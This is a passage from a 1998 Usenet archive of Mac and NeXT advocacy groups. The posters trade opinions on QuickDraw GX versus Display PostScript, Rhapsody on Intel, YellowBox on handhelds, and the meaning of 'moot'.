into a different document Word accesses a pointer to memory which has been
freed. We have several Word 5x workarounds that we have documented in our
internal support web pages that has as one of the steps "Word will then
quit with a system error. This is normal."
--
**************Geordie Korper geordie@chapman.com ***************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*****************************************************************
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 09:01:31 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l5npb$ebr$4@ns3.vrx.net>
References: <6l43r7$5dc$3@ns3.vrx.net> <B19B6872-AF98@206.165.43.48>
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Cc: english@primenet.com
In <B19B6872-AF98@206.165.43.48> "Lawson English" claimed:
> That was with TeacText, right Maury?
No, TeachText.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 4 Jun 1998 09:01:04 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l5nog$ebr$3@ns3.vrx.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<ldo-0406981933530001@a24.hn1.wave.co.nz>
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Cc: ldo@geek-central.gen.new_zealand
In <ldo-0406981933530001@a24.hn1.wave.co.nz> Lawrence D¹Oliveiro claimed:
> Speaking of coordinate space limitations, ever wondered why Adobe's
> Acrobat Reader won't display pages larger than 45 inches on a side,
> whereas GX never had any such limitations?
No.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 4 Jun 1998 09:12:37 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l5oe5$ebr$5@ns3.vrx.net>
References: <B196AF2E-6ECC@206.165.43.133> <B196C2E5-5109F@206.165.43.133>
<6kt6us$sd$1@news.digifix.com> <ldo-0406982006200001@a24.hn1.wave.co.nz>
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Cc: ldo@geek-central.gen.new_zealand
In <ldo-0406982006200001@a24.hn1.wave.co.nz> Lawrence D¹Oliveiro claimed:
> Sure, it took seven years from initial concept to first release. But what
> else appeared in the meantime?
*coff*.
> that each application vendor had to develop for its internal use, most of
> the world has been stuck with the PostScript/PDF graphics model all that
> time (and still is).
Whereas the Mac world is stuck with old QD. In retrospect we see again
the "excuse" package the Apple of old foisted off on us all in so many
projects it makes the head spin...
Developers: we need a chooser replacement
Apple: well run PowerTalk!
D: we need protocol independance
A: well use the CTB!
D: we need a better imaging system
A: well run GX!
The fact that these things either didn't work or were not installed by users
for a variety or reasons didn't stop Apple from using them as a cop out.
> GX is the most elegant and compact solution to this problem that anyone
> has ever come up with. (Go on, prove me wrong...)
I suppose I should expect such a sophmotic "prove me wrong" comment from
someone who's address is "geek-central".
The issue is not whether GX did it, but if no one else did, why did they?
Maury
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 4 Jun 1998 15:25:14 GMT
Organization: University of Waterloo
Message-ID: <896973633.712526@globe.uwaterloo.ca>
References: <6jsait$q4o@newsb.netnews.att.com> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <1da2hjm.1wg5c9gp42zjwN@sextans157.wco.com>
Cache-Post-Path: globe.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <1da2hjm.1wg5c9gp42zjwN@sextans157.wco.com>,
Mike Paquette <mpaque@wco.com> wrote:
>
>Actually, the 56001 DSP could only address it's on board chip memory,
>and a dedicated add-on memory card in the Turbo machines.
>
The non-Turbo '040 machines could take this card too, AFAIK.
>It did have a couple of DMA channels dedicated to it, though, which
>certainly helped.
Yes, but writing the 56k code to handle those was, um, painful. The examples
in the documentation could have been much better.
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
now?)
Date: 4 Jun 1998 09:27:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19C18B8-A6310@206.165.43.122>
References: <6l6f7l$adf$6@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <ldo-0406982006200001@a24.hn1.wave.co.nz> Lawrence D=BCOliveiro
>wrote:
>
>> Do you know of any other layout engine that offers comparable
>capabilities
>> in a simpler form? There ain't no such thing. Face it: text
handling is
>> complex. One look at some of the world's writing systems (like
Japanese
>or
>> Arabic) should convince you of that.
>>
>> GX is the most elegant and compact solution to this problem that
anyone
>> has ever come up with. (Go on, prove me wrong...)
>>
>At a guess: ATSUI.
For handling of multiple languages (leaving aside the unified Han
issue), ATSUI will likely do everything that GX does, formatting-wise.
However, there's lots of extra high-end stuff that I'm betting hasn't
made it into the first version of ATSUI and may never make it it
unless programmers ask for it.
When Apple engineers were describing what they meant by "GX
Typography" on the GX mailing list, they made it clear that they were
primarily dealing with the 1D formatting algorithms of the GX layout
shape. I doubt if GX's ability to define vertical kerning made it in
(allows contextual control of vertical placement of hyphons, for
instance), although it might have since the GX font can define a
default behavior for this, I believe. I'm pretty certain that anything
that depends on the GX graphics capabilties won't be in ATSUI since
these pretty much require a retained mode of some kind and some of
them require the 3x3 transform matrix.
One of my goals with GXFCN is to provide complete GUI access to ALL
aspects of GX typography so that users and developers can see what has
been left out of ATSUI and request that it be added in if they want
it. There is a LOT of functionality there. Some may believe that GX is
a "kitchen sink" deal, but the goal was to reproduce all of the
functionality of DPS that didn't require a programming language, as
well as other stuff that is generally found in high-end DTP apps, so
that multi-national DTP apps would be easy to create.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTSTEP/OpenStep on SGI?
Date: 2 Jun 1998 17:51:33 GMT
Organization: University of California at San Diego
Message-ID: <slrn6n8et4.ake.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35727C13.1BDDD2CD@student.uni-halle.de> <357260F4.46DD@earthlink.net> <6kvq7r$aqa$2@dns.city-net.com>
: While GNOME is a bit difficult to explain (for me anyway) it
:is a set a rules that GNOME aware apps can follow to work together in a
:cool fashion.
It's actually remarkably simple to explain:
X: "Mechanism not Policy"
GNOME: "What shit were they smoking?"
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 2 Jun 1998 17:58:18 GMT
Organization: University of California at San Diego
Message-ID: <slrn6n8f9p.ake.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <slrn6n3g2r.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <slrn6n5k97.2kj.sal@panix3.panix.com>
On 1 Jun 1998 16:04:55 GMT, Salvatore Denaro <sal@panix3.panix.com> wrote:
:On 31 May 1998 20:41:00 GMT, Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
:>On 31 May 1998 00:05:50 GMT, Salvatore Denaro <sal@panix3.panix.com> wrote:
:>:Huh? NeXT was a tiny company, and they could write drivers for Intel.
:>:So could SCO for it's UnixWare and OpenServer UNIXs. And SUN has managed
:>:to support a nice sized chunk of the x86 market.
:>Not really. Sun is doing x86 as a loss-leader.
:
:Why can't Rhapsody on Intel be a loss leader to promote Rhapsody/MacOS-X on
:PPC?
Sun is much more profitable than Apple, and Solaris x86 doesn't present
any competitive threat in Sun's most important markets---large scale
multiprocessing $50K+ Unix machines.
To some degree Sun's low end workstation hardware itself is "loss leaders",
and even then they have trouble keeping the price down vs. Pentia.
:> SCO, they have a locked
:>in installed base and resellers and consultants who push them along.
:
:Think Different. What does SCO have that Rhapsody won't have? SMP, SYSV
:and a network of VARs. What will Rhapsody have that SCO lacks? WebObjects,
:a great UI, a great set of Dev tools. Why can't Apple muscle in and grab
:some of that VAR business?
It could happen over a few years. But I bet that Linux is doing an even
better job at hacking away at SCO. I'm not sure a Unix-oriented VAR who
gets a whiff of Linux freedom is going to want to hitch up again with another
commercial company, esp. one which might decide to drop the product entirely
at any time. To them, Linux = more profits for me and Linux = it can never
be killed.
:>Rhapsody/Intel couldn't get away with it @ $150.
:
:They are not starting from ground zero, they already have a largish lib
:of drivers now. And IOKit should make it easier.
:
:No one is suggesting that Rhapsody/Intel will be a replacement for WinXX
:on Intel, it will be a "loss leader" to promote Mac hardware.
I know. I'd really really like it too.
:And much of the market is stating that they are willing to pay more for
:Apple hardware if they find Rhapsody/Intel to be good enough. Or at least
:better than NT or Linux for what they want to do.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 2 Jun 1998 18:01:14 GMT
Organization: University of California at San Diego
Message-ID: <slrn6n8ffa.ake.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <SCOTT.98May29151643@slave.doubleu.com> <1d9taf9.9dkhtjztnwtqN@sextans116.wco.com> <Etrsxz.10I@haddock.cd.chalmers.se>
On Sat, 30 May 1998 12:49:11 GMT, John Hornkvist <sorry@no.more.spams> wrote:
:In <1d9taf9.9dkhtjztnwtqN@sextans116.wco.com> Mike Paquette wrote:
:> Not to worry. Damage repair is all done from the backing store to the
:> screen in the lightweight window server, to cut down on damage repair
:> events and all that context switching.
:
:This sounds like yet another good use of shared memory. :)
Or maybe a non-shared buffer might be good for preventing a round-trip
network event when the user moves windows around on a *hypothetical* remote
display configuration?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YellowBox on handhelds
Date: 4 Jun 1998 13:04:57 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l661p$o4j$1@ns3.vrx.net>
References: <3576c2a1.0@news.depaul.edu>
Mime-Version: 1.0
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Cc: jhendry@shrike.depaul.edu
In <3576c2a1.0@news.depaul.edu> Jonathan W Hendry claimed:
> A while back there was a raging argument about YellowBox in
> a handheld. One of the main obstacles discussed was the
> requirements of DPS. That obstacle seems to have been removed.
Yup.
> Can anyone think of a reason Apple couldn't field a YellowBox
> compatible API for handhelds? It could use a very minimal
> kernel underneath, and a version of Quickdraw/E tuned for a small
> screen and tight memory. Likewise for the YB frameworks themselves.
Basically you end up with two markets. One is the "handheld" market, but I
really do think the MacOS/WinCE is the best solution there. The other is
sub-handhelds, or as Lawson called them, beltops. That's a market that I
think would benefit from a FoundationKit + PDO + cool things. Not the whole
YB by any means.
> Unix wouldn't be necessary, so that's not an issue.
No, but having the ability to use QnX would be very cool.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 12:01:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19C3D01-12E9D2@206.165.43.122>
References: <6l5uue$j3r$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B19C0C7C-78324@206.165.43.122> "Lawson English" claimed:
>> The point being that TeachText is no longer a shipping product
>
> It was at the time.
>
>> been for many years, so to base one's impression of how well GX prints
on
>> how well it worked with TeachText is silly
>
> Of course you deliberatly ignore the point - it couldn't print from ANY
>normal text editor or WP without causing a LW thrash at a minimum and
>nothing
>coming out at a maximum. I had problems with ALL applications.
>
>> Maury's experiences with GX apparently are based on his experiments with
>> the first shipping version and he hasn't tried it since for any reason
and
>> is convinced that it hasn't improved in any way in the last 4-5 years.
>
> Exactly.
OK, so this was a valid problem 4-5 years ago. GX no longer does this,
AFAIK. In fact, it uses standard print drivers and either renders into a
bitmap and prints that at printer resolution or translates into PS and
sends that, both using a library that Apple has provided for quite some
time.
This solution for printing will work on non-MacOS 8 systems if you have the
GXGraphicsINIT installed instead of the full GX architecture.
Your complaints about GX are OLD, Maury.
There may still be problems, but you have no idea what they would be since
you haven't used it in years (1/2 decade?).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenWrite and Lighthouse
Date: 4 Jun 1998 14:55:56 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6l6chs$7eh@shelob.afs.com>
References: <ygcra1614gz.fsf@tank.i-have-a-misconfigured-system-so-shoot-me>
Dr. William V. Smith writes
> Does anyone know how to get a copy of OpenWrite (cube NS3.3)
> registered? I need it to convert some WriteNow files.
> Was it worth it? How do you buy it?? You can still
> ftp from nextpeak, but nobody is home. Help!
What format do you need to convert the WriteNow files to? AFS has the
definitive WriteNow->RTF[D] filter, which (unlike the one that shipped
with WriteNow) runs on all supported hardware, has a command-line batch
mode, and converts graphics, too. Contact me for further information.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 15:01:17 GMT
Organization: I don't think so
Message-ID: <slrn6nddt6.gog.jason@jhste1.dyn.ml.org>
References: <6l0kkl$cmd$3@ns3.vrx.net> <B199A9F8-267E6@206.165.43.1> <6l5r5k$adf$3@ironhorse.plsys.co.uk>
mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>> The point is MOOT. In the common usage of the word, "moot" means "no longer
>> worth arguing over."
>Twaddle -- it means exactly the opposite, namely that "it's still open to
>debate".
Turning to our favorite legal dictionary for guidance, it appears that
you're both right (sort of).
A question is moot when it presents no actual controversy or where the
issues have ceased to exist.
and
A moot point is one not settled by judicial decisions.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: justincsNOSPAM@psi.net (Justin Case)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Thu, 04 Jun 1998 10:42:42 -0500
Organization: Oh, for the hell of it.
Message-ID: <justincsNOSPAM-0406981043110001@ip198.pontiac2.mi.pub-ip.psi.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6l1p8q$ak3$1@newsfep1.sprintmail.com> <6l23dm$84s$1@nnrp1.dejanews.com> <justincsNOSPAM-0206982119070001@ip116.pontiac2.mi.pub-ip.psi.net> <atlauren-0306981238320001@jungleland.acs.uci.edu>
-y%"%xcYz/}y+:xU3BN;]\1<'w@TnK1[_d9)>|(Z{XP1+6@2c?w\kAE0l;jn),:.Bl/B
TD(@MtZ''BCd^X}97=;v`4~%bNx+5bYnFhHC!Q4V"\:@XY:sL"B5$$8:54<"mAKy77!l
In article <atlauren-0306981238320001@jungleland.acs.uci.edu>,
atlauren@uci.edu (Andrew Laurence) wrote:
[snip]
> Let's veer off a bit, and discuss upgrading for new features, vs being
> happy with what you already have.
>
> Justin, I notice that you've rattled off a rather impressive home theater
> setup. However, no DTS or AC-3 decoder? Why?
Actually I do. "Dolby Pro Logic" is buzzword compliant for those
non-audiophiles who could care less...;)
I have AC-3/Dolby Digital, a Dolby Digital Decoder [DDD Processor, which
in essence is a 24-bit digital processor that offers Digital Cinema Sound,
multiple theater settings, rear speaker separation and bass redirection to
the sub-woofer], Cerwin Vega 15" fronts, 2 x 6.25" center channel and 8"
rears and a JBL 12" Subwoofer. All powered by a 120w per channel Sony AV
component and a Hi-Fi/S-Video Panasonic VCR and Panasonic A110 DVD player
[which I would highly recommend!]. Now if I could only afford all the
Monster Cable to complete the system, I'd be in business!
> I have a ProLogic receiver, and a friend of mine just upgraded to a
> receiver with a DTS/AC3 decoder, and he keeps going on about its technical
> superiority over ProLogic, and how all this music is being issued which
> utilizes the decoder in a home theater, sending music to the different
> channels, yadda yadda yadda.
He is correct. In a nutshell, Dolby Pro Logic gives your system the proper
separation to the center channel. This is important since 80% of most
movies send dialog to the center. AC-3/Dolby Digital incorporates Dolby
Pro-Logic, but takes it a step further and produces a 3 dimensional sound
- like movie theaters do. AC-3 utilizes the film's actual 5.1 channel
soundtrack.
>
> I'm thinking: This is quadrophonic stereo, all over again.
>
> Or am I missing something?
Oh yeah! Upgrade your system and you won't be sorry.
--Justin
"What's new, Normie?"
"Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 4 Jun 1998 08:29:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19C0B54-73DB2@206.165.43.122>
References: <6l5nmu$ebr$2@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <ldo-0406981944340001@a24.hn1.wave.co.nz> Lawrence D=BCOliveiro
>claimed:
>> Pity the same can't be said about Display PostScript...
>
> That's right, it has no 30 foot limit.
But the larger the image, the lower the resolution available.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
now?)
Date: 4 Jun 1998 08:28:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19C0AF3-726E1@206.165.43.122>
References: <6l5oe5$ebr$5@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
> I suppose I should expect such a sophmotic "prove me wrong" comment
>from
>someone who's address is "geek-central".
>
> The issue is not whether GX did it, but if no one else did, why did
they?
Um....
GUIs, anyone?
What a maroon.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 08:34:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19C0C7C-78324@206.165.43.122>
References: <slrn6nddvd.gog.jason@jhste1.dyn.ml.org>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Jason S. <jason@jhste1.dyn.ml.org> said:
>Maury Markowitz posted the following to comp.sys.mac.advocacy:
>
>>In <B19B6872-AF98@206.165.43.48> "Lawson English" claimed:
>
>>> That was with TeacText, right Maury?
>
>> No, TeachText.
>
>The Lawson and Maury Show. Never ends.
The point being that TeachText is no longer a shipping product and hasn't
been for many years, so to base one's impression of how well GX prints on
how well it worked with TeachText is silly. In fact, SimpleText, the
TeachText replacement, was the only way one could review GX print files as
they were being printed, and was the only way to view PDD files, so
obviously the replacement for TeachText had no problems with printing GX
files since it was part of the printing architecture.
Maury's experiences with GX apparently are based on his experiments with
the first shipping version and he hasn't tried it since for any reason and
is convinced that it hasn't improved in any way in the last 4-5 years.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Howabout Something Better than what we have now?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <6l5r5k$adf$3@ironhorse.plsys.co.uk> <B19BF69D-25F71@206.165.43.122>
Message-ID: <3576c051.0@news.depaul.edu>
Date: 4 Jun 98 15:42:09 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> It's an odd phrase, I'll agree, but it's in the dictionary, and in the last
> 10-20 years, it's the ONLY use of the word that I've seen or heard in
> common American speech and literature.
Agreed.
There was the great Saturday Night Live skit with Jesse Jackson as
a gameshow host. Whenever the contestants tried to answer the question,
Jesse would interrupt them with a buzzer, saying 'The question is moot!'
and move on to the next.
Webster.app lists one definition as "deprived of practical significance
made abstract or purely acadeic [sic]"
--
"... and subpoenas for all." - Ken Starr
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 4 Jun 1998 18:38:44 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ndqdj.mjt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6l6f7l$adf$6@ironhorse.plsys.co.uk> <B19C18B8-A6310@206.165.43.122>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
On 4 Jun 1998 09:27:01 -0700, Lawson English <english@primenet.com> wrote:
:mmalcolm crawford <malcolm@plsys.co.uk> said:
:
:>In <ldo-0406982006200001@a24.hn1.wave.co.nz> Lawrence D¼Oliveiro
:>wrote:
:>>
:>> GX is the most elegant and compact solution to this problem that
:anyone
:>> has ever come up with. (Go on, prove me wrong...)
:>>
:>At a guess: ATSUI.
:
:For handling of multiple languages (leaving aside the unified Han
:issue), ATSUI will likely do everything that GX does, formatting-wise.
:However, there's lots of extra high-end stuff that I'm betting hasn't
:made it into the first version of ATSUI and may never make it it
:unless programmers ask for it.
Reread "elegant and compact solution".
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 4 Jun 1998 20:07:43 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6l6uqf$s9l$3@sun27.hrz.tu-darmstadt.de>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134><6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3><6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3><6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3><6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3><6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3><ldo-0406981944340001@a24.hn1.wave.co.nz> <SCOTT.98Jun4112630@slave.doubleu.com> <6l6rlm$ncl$1@nnrp1.snfc21.pbi.net>
"William Edward Woody" <woody@alumni.caltech.edu> wrote:
>cott Hess wrote in message ...
(please note that this statement was _not_ written by Scott Hess)
>>But DPS can scale across the distance from 30 feet per pixel down to
>>pixels the size of atoms, without losing precision, and without
>>requiring the programmer to manually scale things. Under a fixed
>>point system, you would have to keep adjusting the quantum, and by
>>that I mean _you_, the programmer, would have to adjust the quantum
>>for all your coordinates.
>
>This is good to know when I finally break down and buy a postscript
>billboard printer. (Though I'm still not clear where to buy 200 feet
>wide paper to fit into my 200 foot wide printer.)
<grin>
With the planned advertisement campaign for upcoming Apple Movie,
the MacBillboard GX printer will come in handy. :-)
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 11:03:42 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l5uue$j3r$2@ns3.vrx.net>
References: <slrn6nddvd.gog.jason@jhste1.dyn.ml.org> <B19C0C7C-78324@206.165.43.122>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B19C0C7C-78324@206.165.43.122> "Lawson English" claimed:
> The point being that TeachText is no longer a shipping product
It was at the time.
> been for many years, so to base one's impression of how well GX prints on
> how well it worked with TeachText is silly
Of course you deliberatly ignore the point - it couldn't print from ANY
normal text editor or WP without causing a LW thrash at a minimum and nothing
coming out at a maximum. I had problems with ALL applications.
> Maury's experiences with GX apparently are based on his experiments with
> the first shipping version and he hasn't tried it since for any reason and
> is convinced that it hasn't improved in any way in the last 4-5 years.
Exactly.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 4 Jun 1998 09:10:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19C14BC-9737A@206.165.43.122>
References: <3576c051.0@news.depaul.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>
>Webster.app lists one definition as "deprived of practical significance
> made abstract or purely acadeic [sic]"
"purely acadeic?"
They don't spell-check their dictionary entries?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 4 Jun 1998 16:18:59 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6l6hdj$mp2$1@new-news.cc.brandeis.edu>
References: <6l23dm$84s$1@nnrp1.dejanews.com> <justincsNOSPAM-0206982119070001@ip116.pontiac2.mi.pub-ip.psi.net> <atlauren-0306981238320001@jungleland.acs.uci.edu>
In article <atlauren-0306981238320001@jungleland.acs.uci.edu> atlauren@uci.edu (Andrew Laurence) writes:
>In article
><justincsNOSPAM-0206982119070001@ip116.pontiac2.mi.pub-ip.psi.net>,
>justincsNOSPAM@psi.net (Justin Case) wrote:
>
>>Not
